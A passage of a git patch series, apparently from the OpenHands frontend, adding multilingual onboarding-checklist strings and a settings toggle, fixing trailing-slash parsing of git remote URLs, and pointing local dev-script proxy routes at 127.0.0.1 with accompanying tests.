"جدولة مهمة", + "de": "Eine Aufgabe planen", + "fr": "Planifier une tâche", + "it": "Pianifica un'attività", + "pt": "Agende uma tarefa", + "es": "Programa una tarea", + "ca": "Programa una tasca", + "tr": "Görev zamanla", + "uk": "Заплануйте завдання" + }, + "SIDEBAR$ONBOARDING_CHECKLIST_CUSTOMIZE": { + "en": "Customize your agent", + "ja": "エージェントをカスタマイズ", + "zh-CN": "自定义你的智能体", + "zh-TW": "自訂你的代理", + "ko-KR": "에이전트 맞춤 설정", + "no": "Tilpass agenten din", + "ar": "خصص وكيلك", + "de": "Passen Sie Ihren Agenten an", + "fr": "Personnalisez votre agent", + "it": "Personalizza il tuo agente", + "pt": "Personalize seu agente", + "es": "Personaliza tu agente", + "ca": "Personalitza el teu agent", + "tr": "Ajanınızı özelleştirin", + "uk": "Налаштуйте свого агента" + }, + "SIDEBAR$ONBOARDING_CHECKLIST_DISMISS": { + "en": "Dismiss checklist", + "ja": "チェックリストを閉じる", + "zh-CN": "关闭清单", + "zh-TW": "關閉清單", + "ko-KR": "체크리스트 닫기", + "no": "Lukk sjekklisten", + "ar": "إخفاء قائمة التحقق", + "de": "Checkliste ausblenden", + "fr": "Masquer la liste", + "it": "Nascondi checklist", + "pt": "Dispensar checklist", + "es": "Descartar lista", + "ca": "Descarta la llista", + "tr": "Kontrol listesini kapat", + "uk": "Приховати контрольний список" + }, + "SIDEBAR$ONBOARDING_CHECKLIST_MENU_LABEL": { + "en": "Checklist options", + "ja": "チェックリストのオプション", + "zh-CN": "清单选项", + "zh-TW": "清單選項", + "ko-KR": "체크리스트 옵션", + "no": "Alternativer for sjekkliste", + "ar": "خيارات قائمة التحقق", + "de": "Checklistenoptionen", + "fr": "Options de la liste", + "it": "Opzioni checklist", + "pt": "Opções da checklist", + "es": "Opciones de la lista", + "ca": "Opcions de la llista", + "tr": "Kontrol listesi seçenekleri", + "uk": "Параметри контрольного списку" + }, + "SIDEBAR$ONBOARDING_CHECKLIST_CONFIGURE_LLM": { + "en": "Add LLM API key", + "ja": "LLM APIキーを追加", + "zh-CN": "添加 LLM API 密钥", + "zh-TW": "新增 LLM API 金鑰", + "ko-KR": "LLM API 키 추가", + "no": "Legg til LLM API-nøkkel", + "ar": "أضف مفتاح LLM API", + "de": "LLM-API-Schlüssel hinzufügen", + "fr": "Ajouter une clé API LLM", + "it": "Aggiungi chiave API LLM", + "pt": "Adicionar chave de API LLM", + "es": "Añadir clave API de LLM", + "ca": "Afegeix una clau API LLM", + "tr": "LLM API anahtarı ekle", + "uk": "Додайте ключ LLM API" + }, + "SIDEBAR$ONBOARDING_CHECKLIST_CONNECT_MCP": { + "en": "Connect an MCP integration", + "ja": "MCP連携を接続", + "zh-CN": "连接 MCP 集成", + "zh-TW": "連接 MCP 整合", + "ko-KR": "MCP 통합 연결", + "no": "Koble til en MCP-integrasjon", + "ar": "اربط تكامل MCP", + "de": "MCP-Integration verbinden", + "fr": "Connecter une intégration MCP", + "it": "Connetti un'integrazione MCP", + "pt": "Conectar uma integração MCP", + "es": "Conectar una integración MCP", + "ca": "Connecta una integració MCP", + "tr": "Bir MCP entegrasyonu bağla", + "uk": "Підключіть інтеграцію MCP" + }, + "SIDEBAR$ONBOARDING_CHECKLIST_EXPAND": { + "en": "Expand checklist", + "ja": "チェックリストを展開", + "zh-CN": "展开清单", + "zh-TW": "展開清單", + "ko-KR": "체크리스트 펼치기", + "no": "Utvid sjekklisten", + "ar": "توسيع قائمة التحقق", + "de": "Checkliste erweitern", + "fr": "Développer la liste", + "it": "Espandi checklist", + "pt": "Expandir checklist", + "es": "Expandir lista", + "ca": "Expandeix la llista", + "tr": "Kontrol listesini genişlet", + "uk": "Розгорнути контрольний список" + }, + "SIDEBAR$ONBOARDING_CHECKLIST_COLLAPSE": { + "en": "Minimize checklist", + "ja": "チェックリストを最小化", + "zh-CN": "最小化清单", + "zh-TW": "最小化清單", + "ko-KR": "체크리스트 최소화", + "no": "Minimer sjekklisten", + "ar": "تصغير قائمة التحقق", + "de": "Checkliste minimieren", + "fr": "Réduire la liste", + "it": "Minimizza checklist", + "pt": "Minimizar checklist", + "es": "Minimizar lista", + "ca": "Minimitza la llista", + "tr": "Kontrol listesini küçült", + "uk": "Згорнути контрольний список" + }, + "SIDEBAR$ONBOARDING_CHECKLIST_CONFIGURE_LLM_DESC": { + "en": "Connect your LLM provider and API key so the agent can reason and respond. Open LLM Settings to add or edit a profile.", + "ja": "LLMプロバイダーとAPIキーを接続して、エージェントが推論・応答できるようにします。LLM設定でプロファイルを追加または編集してください。", + "zh-CN": "连接 LLM 提供商和 API 密钥,让智能体能够推理和回复。打开 LLM 设置以添加或编辑配置文件。", + "zh-TW": "連接 LLM 供應商和 API 金鑰,讓代理能夠推理和回覆。開啟 LLM 設定以新增或編輯設定檔。", + "ko-KR": "LLM 제공업체와 API 키를 연결해 에이전트가 추론하고 응답할 수 있게 하세요. LLM 설정에서 프로필을 추가하거나 편집하세요.", + "no": "Koble til LLM-leverandør og API-nøkkel slik at agenten kan resonere og svare. Åpne LLM-innstillinger for å legge til eller redigere en profil.", + "ar": "اربط مزود LLM ومفتاح API حتى يتمكن الوكيل من التفكير والرد. افتح إعدادات LLM لإضافة ملف تعريف أو تعديله.", + "de": "Verbinden Sie Ihren LLM-Anbieter und API-Schlüssel, damit der Agent denken und antworten kann. Öffnen Sie die LLM-Einstellungen, um ein Profil hinzuzufügen oder zu bearbeiten.", + "fr": "Connectez votre fournisseur LLM et votre clé API pour que l'agent puisse raisonner et répondre. Ouvrez les paramètres LLM pour ajouter ou modifier un profil.", + "it": "Connetti il provider LLM e la chiave API così l'agente può ragionare e rispondere. Apri Impostazioni LLM per aggiungere o modificare un profilo.", + "pt": "Conecte seu provedor LLM e chave de API para o agente raciocinar e responder. Abra Configurações de LLM para adicionar ou editar um perfil.", + "es": "Conecta tu proveedor LLM y clave API para que el agente pueda razonar y responder. Abre Configuración de LLM para añadir o editar un perfil.", + "ca": "Connecta el teu proveïdor LLM i la clau API perquè l'agent pugui raonar i respondre. Obre Configuració LLM per afegir o editar un perfil.", + "tr": "Ajanın akıl yürütüp yanıt verebilmesi için LLM sağlayıcınızı ve API anahtarınızı bağlayın. Profil eklemek veya düzenlemek için LLM Ayarlarını açın.", + "uk": "Підключіть постачальника LLM і ключ API, щоб агент міг міркувати та відповідати. Відкрийте налаштування LLM, щоб додати або змінити профіль." + }, + "SIDEBAR$ONBOARDING_CHECKLIST_CONNECT_MCP_DESC": { + "en": "MCP servers give your agent access to external tools like GitHub, Slack, or search. Browse the MCP marketplace or add a custom server.", + "ja": "MCPサーバーにより、GitHub、Slack、検索などの外部ツールにエージェントがアクセスできます。MCPマーケットプレイスを閲覧するか、カスタムサーバーを追加してください。", + "zh-CN": "MCP 服务器让智能体访问 GitHub、Slack 或搜索等外部工具。浏览 MCP 市场或添加自定义服务器。", + "zh-TW": "MCP 伺服器讓代理存取 GitHub、Slack 或搜尋等外部工具。瀏覽 MCP 市集或新增自訂伺服器。", + "ko-KR": "MCP 서버는 GitHub, Slack, 검색 등 외부 도구에 대한 에이전트 접근을 제공합니다. MCP 마켓플레이스를 둘러보거나 사용자 정의 서버를 추가하세요.", + "no": "MCP-servere gir agenten tilgang til eksterne verktøy som GitHub, Slack eller søk. Bla gjennom MCP-markedsplassen eller legg til en egendefinert server.", + "ar": "تمنح خوادم MCP وكيلك الوصول إلى أدوات خارجية مثل GitHub أو Slack أو البحث. تصفح سوق MCP أو أضف خادمًا مخصصًا.", + "de": "MCP-Server geben Ihrem Agenten Zugriff auf externe Tools wie GitHub, Slack oder Suche. Durchsuchen Sie den MCP-Marktplatz oder fügen Sie einen benutzerdefinierten Server hinzu.", + "fr": "Les serveurs MCP donnent à votre agent accès à des outils externes comme GitHub, Slack ou la recherche. Parcourez la marketplace MCP ou ajoutez un serveur personnalisé.", + "it": "I server MCP danno al tuo agente accesso a strumenti esterni come GitHub, Slack o ricerca. Sfoglia il marketplace MCP o aggiungi un server personalizzato.", + "pt": "Servidores MCP dão ao seu agente acesso a ferramentas externas como GitHub, Slack ou busca. Navegue pelo marketplace MCP ou adicione um servidor personalizado.", + "es": "Los servidores MCP dan a tu agente acceso a herramientas externas como GitHub, Slack o búsqueda. Explora el marketplace MCP o añade un servidor personalizado.", + "ca": "Els servidors MCP donen al teu agent accés a eines externes com GitHub, Slack o cerca. Navega pel marketplace MCP o afegeix un servidor personalitzat.", + "tr": "MCP sunucuları, ajanınıza GitHub, Slack veya arama gibi harici araçlara erişim sağlar. MCP pazarını inceleyin veya özel bir sunucu ekleyin.", + "uk": "Сервери MCP дають агенту доступ до зовнішніх інструментів, таких як GitHub, Slack або пошук. Перегляньте маркетплейс MCP або додайте власний сервер." + }, + "SIDEBAR$ONBOARDING_CHECKLIST_START_CHAT_DESC": { + "en": "Open a chat and send your first message. The agent can run commands, edit files, and help with code in your workspace.", + "ja": "チャットを開いて最初のメッセージを送信してください。エージェントはコマンドの実行、ファイル編集、ワークスペース内のコード支援ができます。", + "zh-CN": "打开对话并发送第一条消息。智能体可以运行命令、编辑文件,并在工作区中协助编写代码。", + "zh-TW": "開啟對話並傳送第一則訊息。代理可以執行命令、編輯檔案,並在工作區中協助撰寫程式碼。", + "ko-KR": "채팅을 열고 첫 메시지를 보내세요. 에이전트는 명령 실행, 파일 편집, 작업 공간의 코드 지원을 할 수 있습니다.", + "no": "Åpne en chat og send din første melding. Agenten kan kjøre kommandoer, redigere filer og hjelpe med kode i arbeidsområdet ditt.", + "ar": "افتح محادثة وأرسل رسالتك الأولى. يمكن للوكيل تشغيل الأوامر وتحرير الملفات والمساعدة في الكود في مساحة العمل.", + "de": "Öffnen Sie einen Chat und senden Sie Ihre erste Nachricht. Der Agent kann Befehle ausführen, Dateien bearbeiten und bei Code in Ihrem Workspace helfen.", + "fr": "Ouvrez une conversation et envoyez votre premier message. L'agent peut exécuter des commandes, modifier des fichiers et aider avec le code dans votre espace de travail.", + "it": "Apri una chat e invia il tuo primo messaggio. L'agente può eseguire comandi, modificare file e aiutare con il codice nel tuo workspace.", + "pt": "Abra um chat e envie sua primeira mensagem. O agente pode executar comandos, editar arquivos e ajudar com código no seu workspace.", + "es": "Abre un chat y envía tu primer mensaje. El agente puede ejecutar comandos, editar archivos y ayudar con código en tu espacio de trabajo.", + "ca": "Obre un xat i envia el teu primer missatge. L'agent pot executar ordres, editar fitxers i ajudar amb codi al teu espai de treball.", + "tr": "Bir sohbet açın ve ilk mesajınızı gönderin. Ajan, çalışma alanınızda komut çalıştırabilir, dosyaları düzenleyebilir ve kod konusunda yardımcı olabilir.", + "uk": "Відкрийте чат і надішліть перше повідомлення. Агент може виконувати команди, редагувати файли та допомагати з кодом у вашому робочому просторі." + }, + "SIDEBAR$ONBOARDING_CHECKLIST_SCHEDULE_TASK_DESC": { + "en": "Automations run on a schedule or trigger. Create a scheduled task to have the agent work for you in the background.", + "ja": "オートメーションはスケジュールまたはトリガーで実行されます。スケジュールタスクを作成して、エージェントにバックグラウンドで作業させましょう。", + "zh-CN": "自动化可按计划或触发条件运行。创建计划任务,让智能体在后台为你工作。", + "zh-TW": "自動化可依排程或觸發條件執行。建立排程任務,讓代理在背景為你工作。", + "ko-KR": "자동화는 일정 또는 트리거로 실행됩니다. 예약 작업을 만들어 에이전트가 백그라운드에서 작업하도록 하세요.", + "no": "Automatiseringer kjører etter en plan eller utløser. Opprett en planlagt oppgave for at agenten skal jobbe for deg i bakgrunnen.", + "ar": "تعمل الأتمتة وفق جدول أو محفز. أنشئ مهمة مجدولة ليعمل الوكيل لك في الخلفية.", + "de": "Automatisierungen laufen nach Zeitplan oder Auslöser. Erstellen Sie eine geplante Aufgabe, damit der Agent im Hintergrund für Sie arbeitet.", + "fr": "Les automatisations s'exécutent selon un planning ou un déclencheur. Créez une tâche planifiée pour que l'agent travaille pour vous en arrière-plan.", + "it": "Le automazioni vengono eseguite su programma o trigger. Crea un'attività pianificata per far lavorare l'agente in background.", + "pt": "Automações rodam em agenda ou gatilho. Crie uma tarefa agendada para o agente trabalhar para você em segundo plano.", + "es": "Las automatizaciones se ejecutan según un horario o un disparador. Crea una tarea programada para que el agente trabaje en segundo plano.", + "ca": "Les automatitzacions s'executen segons un horari o un disparador. Crea una tasca programada perquè l'agent treballi en segon pla.", + "tr": "Otomasyonlar bir zamanlamaya veya tetikleyiciye göre çalışır. Arka planda sizin için çalışması için zamanlanmış bir görev oluşturun.", + "uk": "Автоматизації запускаються за розкладом або тригером. Створіть заплановане завдання, щоб агент працював для вас у фоновому режимі." + }, + "SIDEBAR$ONBOARDING_CHECKLIST_CUSTOMIZE_DESC": { + "en": "Choose or create an agent profile to control which agent and model run your conversations.", + "ja": "会話で使うエージェントとモデルを選ぶために、エージェントプロファイルを選択または作成してください。", + "zh-CN": "选择或创建智能体配置文件,以控制对话使用的智能体和模型。", + "zh-TW": "選擇或建立代理設定檔,以控制對話使用的代理與模型。", + "ko-KR": "대화에 사용할 에이전트와 모델을 정하려면 에이전트 프로필을 선택하거나 만드세요.", + "no": "Velg eller opprett en agentprofil for å styre hvilken agent og modell som kjører samtalene dine.", + "ar": "اختر أو أنشئ ملف تعريف للوكيل للتحكم في الوكيل والنموذج اللذين يشغّلان محادثاتك.", + "de": "Wählen oder erstellen Sie ein Agentenprofil, um festzulegen, welcher Agent und welches Modell Ihre Unterhaltungen ausführt.", + "fr": "Choisissez ou créez un profil d'agent pour contrôler quel agent et quel modèle exécutent vos conversations.", + "it": "Scegli o crea un profilo agente per controllare quale agente e modello eseguono le tue conversazioni.", + "pt": "Escolha ou crie um perfil de agente para controlar qual agente e modelo executam suas conversas.", + "es": "Elige o crea un perfil de agente para controlar qué agente y modelo ejecutan tus conversaciones.", + "ca": "Tria o crea un perfil d'agent per controlar quin agent i model executen les teves converses.", + "tr": "Konuşmalarınızı hangi ajan ve modelin çalıştıracağını kontrol etmek için bir ajan profili seçin veya oluşturun.", + "uk": "Виберіть або створіть профіль агента, щоб керувати тим, який агент і модель запускають ваші розмови." + }, + "SIDEBAR$ONBOARDING_CHECKLIST_ITEM_COMPLETE": { + "en": "Complete", + "ja": "完了", + "zh-CN": "已完成", + "zh-TW": "已完成", + "ko-KR": "완료", + "no": "Fullført", + "ar": "مكتمل", + "de": "Abgeschlossen", + "fr": "Terminé", + "it": "Completato", + "pt": "Concluído", + "es": "Completado", + "ca": "Completat", + "tr": "Tamamlandı", + "uk": "Виконано" + }, + "SIDEBAR$ONBOARDING_CHECKLIST_DOCS_LINK": { + "en": "Documentation", + "ja": "ドキュメント", + "zh-CN": "文档", + "zh-TW": "文件", + "ko-KR": "문서", + "no": "Dokumentasjon", + "ar": "التوثيق", + "de": "Dokumentation", + "fr": "Documentation", + "it": "Documentazione", + "pt": "Documentação", + "es": "Documentación", + "ca": "Documentació", + "tr": "Dokümantasyon", + "uk": "Документація" + }, + "SIDEBAR$ONBOARDING_CHECKLIST_ACTION_CONFIGURE_LLM": { + "en": "Add key", + "ja": "キーを追加", + "zh-CN": "添加密钥", + "zh-TW": "新增金鑰", + "ko-KR": "키 추가", + "no": "Legg til nøkkel", + "ar": "أضف مفتاحًا", + "de": "Schlüssel hinzufügen", + "fr": "Ajouter une clé", + "it": "Aggiungi chiave", + "pt": "Adicionar chave", + "es": "Añadir clave", + "ca": "Afegeix clau", + "tr": "Anahtar ekle", + "uk": "Додати ключ" + }, + "SIDEBAR$ONBOARDING_CHECKLIST_ACTION_START_CHAT": { + "en": "Start chat", + "ja": "チャット開始", + "zh-CN": "开始对话", + "zh-TW": "開始對話", + "ko-KR": "채팅 시작", + "no": "Start chat", + "ar": "ابدأ المحادثة", + "de": "Chat starten", + "fr": "Démarrer le chat", + "it": "Avvia chat", + "pt": "Iniciar chat", + "es": "Iniciar chat", + "ca": "Inicia xat", + "tr": "Sohbeti başlat", + "uk": "Почати чат" + }, + "SIDEBAR$ONBOARDING_CHECKLIST_ACTION_SCHEDULE_TASK": { + "en": "Schedule", + "ja": "スケジュール", + "zh-CN": "安排计划", + "zh-TW": "安排排程", + "ko-KR": "예약하기", + "no": "Planlegg", + "ar": "جدولة", + "de": "Planen", + "fr": "Planifier", + "it": "Pianifica", + "pt": "Agendar", + "es": "Programar", + "ca": "Programa", + "tr": "Zamanla", + "uk": "Запланувати" + }, + "SIDEBAR$ONBOARDING_CHECKLIST_ACTION_CUSTOMIZE": { + "en": "Customize", + "ja": "カスタマイズ", + "zh-CN": "自定义", + "zh-TW": "自訂", + "ko-KR": "맞춤 설정", + "no": "Tilpass", + "ar": "خصص", + "de": "Anpassen", + "fr": "Personnaliser", + "it": "Personalizza", + "pt": "Personalizar", + "es": "Personalizar", + "ca": "Personalitza", + "tr": "Özelleştir", + "uk": "Налаштувати" + }, + "SIDEBAR$ONBOARDING_CHECKLIST_ACTION_CONNECT_MCP": { + "en": "Connect", + "ja": "接続", + "zh-CN": "连接", + "zh-TW": "連接", + "ko-KR": "연결", + "no": "Koble til", + "ar": "اربط", + "de": "Verbinden", + "fr": "Connecter", + "it": "Connetti", + "pt": "Conectar", + "es": "Conectar", + "ca": "Connecta", + "tr": "Bağlan", + "uk": "Підключити" + }, + "SIDEBAR$ONBOARDING_CHECKLIST_JOIN_SLACK": { + "en": "Join the OpenHands Slack", + "ja": "OpenHands Slackに参加", + "zh-CN": "加入 OpenHands Slack", + "zh-TW": "加入 OpenHands Slack", + "ko-KR": "OpenHands Slack 참여", + "no": "Bli med i OpenHands Slack", + "ar": "انضم إلى OpenHands على Slack", + "de": "Treten Sie dem OpenHands Slack bei", + "fr": "Rejoindre le Slack OpenHands", + "it": "Unisciti allo Slack di OpenHands", + "pt": "Participe do Slack do OpenHands", + "es": "Únete al Slack de OpenHands", + "ca": "Uneix-te al Slack d'OpenHands", + "tr": "OpenHands Slack'e katılın", + "uk": "Приєднайтеся до OpenHands у Slack" + }, + "SIDEBAR$ONBOARDING_CHECKLIST_JOIN_SLACK_DESC": { + "en": "Meet other OpenHands users and the team. Open the Slack invite to join the conversation.", + "ja": "他のOpenHandsユーザーやチームとつながりましょう。Slackの招待リンクを開いて会話に参加してください。", + "zh-CN": "结识其他 OpenHands 用户和团队。打开 Slack 邀请链接加入讨论。", + "zh-TW": "認識其他 OpenHands 用戶與團隊。開啟 Slack 邀請連結加入討論。", + "ko-KR": "다른 OpenHands 사용자와 팀을 만나보세요. Slack 초대 링크를 열어 대화에 참여하세요.", + "no": "Møt andre OpenHands-brukere og teamet. Åpne Slack-invitasjonen for å bli med i samtalen.", + "ar": "تعرّف على مستخدمي OpenHands الآخرين والفريق. افتح دعوة Slack للانضمام إلى المحادثة.", + "de": "Treffen Sie andere OpenHands-Nutzer und das Team. Öffnen Sie die Slack-Einladung, um der Unterhaltung beizutreten.", + "fr": "Rencontrez d'autres utilisateurs OpenHands et l'équipe. Ouvrez l'invitation Slack pour rejoindre la conversation.", + "it": "Incontra altri utenti OpenHands e il team. Apri l'invito Slack per unirti alla conversazione.", + "pt": "Conheça outros usuários do OpenHands e a equipe. Abra o convite do Slack para entrar na conversa.", + "es": "Conoce a otros usuarios de OpenHands y al equipo. Abre la invitación de Slack para unirte a la conversación.", + "ca": "Coneix altres usuaris d'OpenHands i l'equip. Obre la invitació de Slack per unir-te a la conversa.", + "tr": "Diğer OpenHands kullanıcıları ve ekiple tanışın. Sohbete katılmak için Slack davetini açın.", + "uk": "Познайомтеся з іншими користувачами OpenHands і командою. Відкрийте запрошення в Slack, щоб приєднатися до розмови." + }, + "SIDEBAR$ONBOARDING_CHECKLIST_ACTION_JOIN_SLACK": { + "en": "Join Slack", + "ja": "Slackに参加", + "zh-CN": "加入 Slack", + "zh-TW": "加入 Slack", + "ko-KR": "Slack 참여", + "no": "Bli med i Slack", + "ar": "انضم إلى Slack", + "de": "Slack beitreten", + "fr": "Rejoindre Slack", + "it": "Unisciti a Slack", + "pt": "Entrar no Slack", + "es": "Unirse a Slack", + "ca": "Uneix-te a Slack", + "tr": "Slack'e katıl", + "uk": "Приєднатися до Slack" + }, + "SETTINGS$SHOW_GETTING_STARTED_CHECKLIST": { + "en": "Show Getting Started checklist", + "ja": "Getting Started チェックリストを表示", + "zh-CN": "显示入门清单", + "zh-TW": "顯示入門清單", + "ko-KR": "시작하기 체크리스트 표시", + "de": "Getting-Started-Checkliste anzeigen", + "no": "Vis Kom i gang-sjekkliste", + "it": "Mostra checklist Per iniziare", + "pt": "Mostrar checklist Primeiros passos", + "es": "Mostrar lista Primeros pasos", + "ar": "إظهار قائمة البدء", + "fr": "Afficher la checklist Premiers pas", + "tr": "Başlarken kontrol listesini göster", + "uk": "Показувати контрольний список «Початок роботи»", + "ca": "Mostra la llista Per començar" + }, + "ONBOARDING$SKIP_GETTING_STARTED_CHECKLIST": { + "en": "Skip Getting Started checklist", + "ja": "Getting Started チェックリストをスキップ", + "zh-CN": "跳过入门清单", + "zh-TW": "略過入門清單", + "ko-KR": "시작하기 체크리스트 건너뛰기", + "de": "Getting-Started-Checkliste überspringen", + "no": "Hopp over Kom i gang-sjekklisten", + "it": "Salta la checklist Per iniziare", + "pt": "Pular checklist Primeiros passos", + "es": "Omitir lista Primeros pasos", + "ar": "تخطي قائمة البدء", + "fr": "Ignorer la checklist Premiers pas", + "tr": "Başlarken kontrol listesini atla", + "uk": "Пропустити контрольний список «Початок роботи»", + "ca": "Omet la llista Per començar" + }, "AUTOMATIONS$GIT_SYNC$NAV_BUTTON": { "en": "Git Sync", "ja": "Git同期", diff --git a/src/routes/app-settings.tsx b/src/routes/app-settings.tsx index 6ff8c6911916..b6e76b0e04b3 100644 --- a/src/routes/app-settings.tsx +++ b/src/routes/app-settings.tsx @@ -11,6 +11,7 @@ import { SettingsInput } from "#/components/features/settings/settings-input"; import { I18nKey } from "#/i18n/declaration"; import { LanguageInput } from "#/components/features/settings/app-settings/language-input"; import { ThemeInput } from "#/components/features/settings/app-settings/theme-input"; +import { GettingStartedChecklistSwitch } from "#/components/features/settings/app-settings/getting-started-checklist-switch"; import { displayErrorToast, displaySuccessToast, @@ -219,6 +220,8 @@ export function AppSettingsScreen() { {t(I18nKey.SETTINGS$SOUND_NOTIFICATIONS)} + +

    {t(I18nKey.SETTINGS$CONVERSATION_TITLES)} From 6699fc95dc5db59d8d33233bc166156826ddb1a7 Mon Sep 17 00:00:00 2001 From: mikemikimike <13286568797@163.com> Date: Wed, 19 Aug 2026 16:44:00 +0800 Subject: [PATCH 08/32] fix: normalize trailing slash in git remote URLs (#16536) Co-authored-by: Vasco Schiavo <115561717+VascoSch92@users.noreply.github.com> --- __tests__/utils/parse-git-remote-url.test.ts | 7 +++++++ src/utils/parse-git-remote-url.ts | 2 +- 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/__tests__/utils/parse-git-remote-url.test.ts b/__tests__/utils/parse-git-remote-url.test.ts index cbe73cde0d89..df0a352e3bbf 100644 --- a/__tests__/utils/parse-git-remote-url.test.ts +++ b/__tests__/utils/parse-git-remote-url.test.ts @@ -20,6 +20,13 @@ describe("parseGitRemoteUrl", () => { }); }); + it("strips the .git suffix when an HTTPS URL has a trailing slash", () => { + const result = parseGitRemoteUrl( + "https://github.com/OpenHands/OpenHands.git/", + ); + expect(result?.repository).toBe("OpenHands/OpenHands"); + }); + it("parses HTTPS GitHub URLs without a .git suffix", () => { const result = parseGitRemoteUrl("https://github.com/owner/repo"); expect(result?.repository).toBe("owner/repo"); diff --git a/src/utils/parse-git-remote-url.ts b/src/utils/parse-git-remote-url.ts index 69015049fd5c..c5b52635999c 100644 --- a/src/utils/parse-git-remote-url.ts +++ b/src/utils/parse-git-remote-url.ts @@ -44,7 +44,7 @@ function buildParsedGitRemoteUrl( host: string | null, rawPath: string, ): ParsedGitRemoteUrl { - const path = stripGitSuffix(rawPath.replace(/^\/+/, "")); + const path = stripGitSuffix(rawPath.replace(/^\/+|\/+$/g, "")); const provider = detectProvider(host); const repository = provider === "azure_devops" ? normalizeAzureDevOpsPath(path) : path; From 2738be20257732c0063491d3bb7a890fa9e3132c Mon Sep 17 00:00:00 2001 From: MarMar Labs Date: Wed, 19 Aug 2026 03:49:41 -0500 Subject: [PATCH 09/32] fix(scripts): use 127.0.0.1 for remaining localhost service URLs (#16409) --- __tests__/scripts/dev-static.test.ts | 20 +++- __tests__/scripts/dev-with-automation.test.ts | 13 +++ scripts/dev-static.mjs | 92 ++++++++++--------- scripts/dev-with-automation.mjs | 18 +++- 4 files changed, 93 insertions(+), 50 deletions(-) diff --git a/__tests__/scripts/dev-static.test.ts b/__tests__/scripts/dev-static.test.ts index 04f2784e1b58..c1000ed404b9 100644 --- a/__tests__/scripts/dev-static.test.ts +++ b/__tests__/scripts/dev-static.test.ts @@ -1,6 +1,9 @@ import { describe, expect, it } from "vitest"; -import { buildAutomationBackendEnv } from "../../scripts/dev-static.mjs"; +import { + buildAutomationBackendEnv, + buildLocalServiceRouteArgs, +} from "../../scripts/dev-static.mjs"; describe("dev-static", () => { it("uses the same session key for both agent-server and automation backend auth", () => { @@ -16,7 +19,7 @@ describe("dev-static", () => { // Both backends receive the same key value expect(env).toMatchObject({ - AUTOMATION_AGENT_SERVER_URL: "http://localhost:18000", + AUTOMATION_AGENT_SERVER_URL: "http://127.0.0.1:18000", AUTOMATION_AGENT_SERVER_API_KEY: "shared-session-key", AUTOMATION_LOCAL_API_KEY: "shared-session-key", AUTOMATION_POSTHOG_API_KEY: @@ -24,4 +27,17 @@ describe("dev-static", () => { AUTOMATION_POSTHOG_HOST: "https://us.i.posthog.com", }); }); + + it("points every local proxy route at the IPv4 loopback", () => { + // Both backends bind to `0.0.0.0`, which only accepts IPv4, so a + // `localhost` target strands the proxy on ::1 on Windows. + const args = buildLocalServiceRouteArgs({ + agentServerPort: 18000, + autoBackendPort: 18001, + }); + + expect(args).toContain("/api/automation=http://127.0.0.1:18001"); + expect(args).toContain("/server_info=http://127.0.0.1:18000"); + expect(args.filter((arg: string) => arg.includes("localhost"))).toEqual([]); + }); }); diff --git a/__tests__/scripts/dev-with-automation.test.ts b/__tests__/scripts/dev-with-automation.test.ts index f6e108c1611b..b2d87546845a 100644 --- a/__tests__/scripts/dev-with-automation.test.ts +++ b/__tests__/scripts/dev-with-automation.test.ts @@ -21,6 +21,7 @@ import { buildConfig, buildRouteArgs, buildViteBackendEnv, + getAgentServerBaseUrl, getFrontendBackend, getLocalServiceRoutes, setServiceLogListener, @@ -629,6 +630,18 @@ describe("stack mode routing", () => { expect(routeArgs).not.toContain("--default"); }); + it("addresses the agent-server over IPv4 for readiness and secret seeding", async () => { + const config = await buildConfig({}, envWithIsolatedKeyPath()); + + // The launcher starts the agent-server with `--host 127.0.0.1`, so the + // readiness probe (`/server_info`), the secret-seeding request, and the + // automation backend's AUTOMATION_AGENT_SERVER_URL must all skip the + // `localhost` lookup that resolves to ::1 first on Windows. + expect(getAgentServerBaseUrl(config)).toBe( + `http://127.0.0.1:${config.agentServerPort}`, + ); + }); + it("rejects mutually exclusive partial-stack modes", async () => { await expect( buildConfig( diff --git a/scripts/dev-static.mjs b/scripts/dev-static.mjs index 3d10da46aa42..53be447e7245 100644 --- a/scripts/dev-static.mjs +++ b/scripts/dev-static.mjs @@ -285,6 +285,44 @@ async function waitForService(name, url, timeoutMs = 30000) { // dev-with-automation; the only difference is the frontend service.) // ═══════════════════════════════════════════════════════════════════════════ +// Both backends bind to `0.0.0.0`, which only accepts IPv4, but localhost can +// resolve to ::1 first (notably on Windows). Every proxy target and readiness +// probe pointed at them must therefore address IPv4 explicitly. +function getAgentServerBaseUrl(config) { + return `http://127.0.0.1:${config.agentServerPort}`; +} + +function getAutomationBaseUrl(config) { + return `http://127.0.0.1:${config.autoBackendPort}`; +} + +const AUTOMATION_ROUTE_PREFIX = "/api/automation"; +const AGENT_SERVER_ROUTE_PREFIXES = [ + "/api", + "/sockets", + "/server_info", + "/health", + "/ready", + "/alive", + "/docs", + "/redoc", + "/openapi.json", +]; + +// The static server and the ingress proxy front the same two local backends, +// so they share one route table. +function buildLocalServiceRouteArgs(config) { + const agentServerUrl = getAgentServerBaseUrl(config); + return [ + "--route", + `${AUTOMATION_ROUTE_PREFIX}=${getAutomationBaseUrl(config)}`, + ...AGENT_SERVER_ROUTE_PREFIXES.flatMap((prefix) => [ + "--route", + `${prefix}=${agentServerUrl}`, + ]), + ]; +} + function startAgentServer(config) { logService( "agent-server", @@ -328,7 +366,7 @@ function startAgentServer(config) { function buildAutomationBackendEnv(config, env = process.env) { // Both backends share the same session API key value. return { - AUTOMATION_AGENT_SERVER_URL: `http://localhost:${config.agentServerPort}`, + AUTOMATION_AGENT_SERVER_URL: getAgentServerBaseUrl(config), AUTOMATION_AGENT_SERVER_API_KEY: config.sessionApiKey, AUTOMATION_DB_URL: `sqlite+aiosqlite:///${join(config.stateDir, "automations.db")}`, AUTOMATION_BASE_URL: `http://localhost:${config.ingressPort}`, @@ -405,26 +443,7 @@ function startStaticServer(config) { : []), "--runtime-services-info", runtimeServicesInfo, - "--route", - `/api/automation=http://localhost:${config.autoBackendPort}`, - "--route", - `/api=http://localhost:${config.agentServerPort}`, - "--route", - `/sockets=http://localhost:${config.agentServerPort}`, - "--route", - `/server_info=http://localhost:${config.agentServerPort}`, - "--route", - `/health=http://localhost:${config.agentServerPort}`, - "--route", - `/ready=http://localhost:${config.agentServerPort}`, - "--route", - `/alive=http://localhost:${config.agentServerPort}`, - "--route", - `/docs=http://localhost:${config.agentServerPort}`, - "--route", - `/redoc=http://localhost:${config.agentServerPort}`, - "--route", - `/openapi.json=http://localhost:${config.agentServerPort}`, + ...buildLocalServiceRouteArgs(config), ], { cwd: config.canvasPath, @@ -453,26 +472,7 @@ function startIngress(config) { config.ingressPort.toString(), 